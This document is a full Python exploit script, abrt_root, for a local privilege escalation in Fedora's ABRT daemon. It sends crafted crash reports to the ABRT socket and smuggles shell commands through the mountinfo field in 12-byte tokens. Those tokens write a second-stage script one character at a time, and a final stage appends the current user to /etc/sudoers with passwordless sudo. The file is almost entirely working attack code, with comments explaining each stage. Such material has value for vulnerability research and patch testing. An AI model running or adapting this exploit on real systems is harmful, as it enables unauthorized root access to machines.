#!/usr/bin/env python3 """ abrt_root: local privilege escalation vulnerability in Fedora's ABRT Research and development by initstring. """ import getpass import socket import time import uuid from pathlib import Path BANNER = """ #################################################################### abrt_root: local privilege escalation vulnerability in Fedora's ABRT Research and development by initstring. #################################################################### """ SOCKET_PATH = "/var/run/abrt/abrt.socket" HELPER_SCRIPT_NAME = "final" RESET_TOKEN = ";:>q;:;:;:;:" EXEC_TOKEN = ";sh\tq;:;:;:;" APPEND_TEMPLATE = ";printf\t{char}>>q" MAX_RETRIES = 10 SLEEP_BETWEEN_TOKENS = 0.5 def build_body(payload: str, reason: str, unique: str) -> bytes: pid = str(int(unique[:4], 16) % 30000 + 1).encode() cmdline = f"/usr/bin/python3 {unique}".encode() container_cmd = f"/usr/bin/docker run test {unique}".encode() type_tag = f"Python3-{unique[:6]}".encode() fields = [ (b"type", type_tag), (b"reason", reason.encode()), (b"pid", pid), (b"executable", f"/usr/bin/python3-{unique}".encode()), (b"cmdline", cmdline), (b"container_cmdline", container_cmd), (b"mountinfo", b"74 2 0:36 / / rw,relatime shared:1 - ext4 " + payload.encode() + b"\n"), (b"backtrace", f"trace {reason} {unique}".encode()), (b"uuid", unique.encode()), (b"duphash", unique.encode()), ] body = bytearray() for key, value in fields: body += key + b"=" + value + b"\0" return bytes(body) def send_once(payload: str) -> str: token = "/docker-" + payload unique = uuid.uuid4().hex reason = f"auto root {int(time.time())}-{unique[:6]}" blob = b"POST / HTTP/1.1\r\n\r\n" + build_body(token, reason, unique) with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock: sock.connect(SOCKET_PATH) sock.sendall(blob) sock.shutdown(socket.SHUT_WR) reply = sock.recv(4096).decode(errors="ignore").strip() return reply or "" def send_with_retry(payload: str) -> None: for attempt in range(1, MAX_RETRIES + 1): reply = send_once(payload) # DEBUG # print(f"[{payload!r}] attempt {attempt}: {reply}") if "201" in reply: time.sleep(SLEEP_BETWEEN_TOKENS) return time.sleep(SLEEP_BETWEEN_TOKENS) raise RuntimeError(f"Failed to send payload '{payload}' with HTTP 201") def token_for_char(ch: str) -> str: token = APPEND_TEMPLATE.format(char=ch) if len(token) != 12: raise ValueError(f"Character {ch!r} produced token length {len(token)}") return token def main() -> None: print(BANNER) # First we write out the third/final stage to a script in the current working directory. # It contains our ultimate goal - escaping the systemd sandbox to write our current # low-priv user name to /etc/sudoers to give us root access. current_user = getpass.getuser() cwd = Path.cwd() helper_script_path = cwd / HELPER_SCRIPT_NAME helper_script_path.write_text( f"systemd-run --pty -- bash -lc \"echo '{current_user} ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers\"\n", encoding="ascii", ) helper_script_path.chmod(0o755) # Next we build the text which will be written to the second stage script. # It is meant to call the third stage script. Characters are limited in this second stage # script, which is why we can't just list the complex commands from above. # The PWD vars you see are not resolved here in the Python script - they are instead # resolved when the targeted daemon executes the script. It has `PWD=/` in its context # which allows us to write the `/` which otherwise is filtered out during this stage # of the attack. command = "${PWD}" + "${PWD}".join(helper_script_path.resolve().parts[1:]) # The reset token just clears the file (/q) where we are writing that second stage to. print("[+] Executing stage one...") send_with_retry(RESET_TOKEN) time.sleep(3) # This is stage one of the attack. We have just enough bytes to perfectly inject a # command which will append one character to a file. It loops through to write out # the second stage script to `/q` for index, ch in enumerate(command, 1): token = token_for_char(ch) # DEBUG # print(f"[+] Staging char {index}/{len(command)} -> {token!r}") send_with_retry(token) # This uses the same 12-byte gadget to execute the stage two script that has # now been written to `/q`. That script, in turn, executes the stage three script # which has no character limitations and completes the exploit. print("[+] Chaining execution of stage two and three...") send_with_retry(EXEC_TOKEN) print("\n[+] Now you're playing with power.") if __name__ == "__main__": main()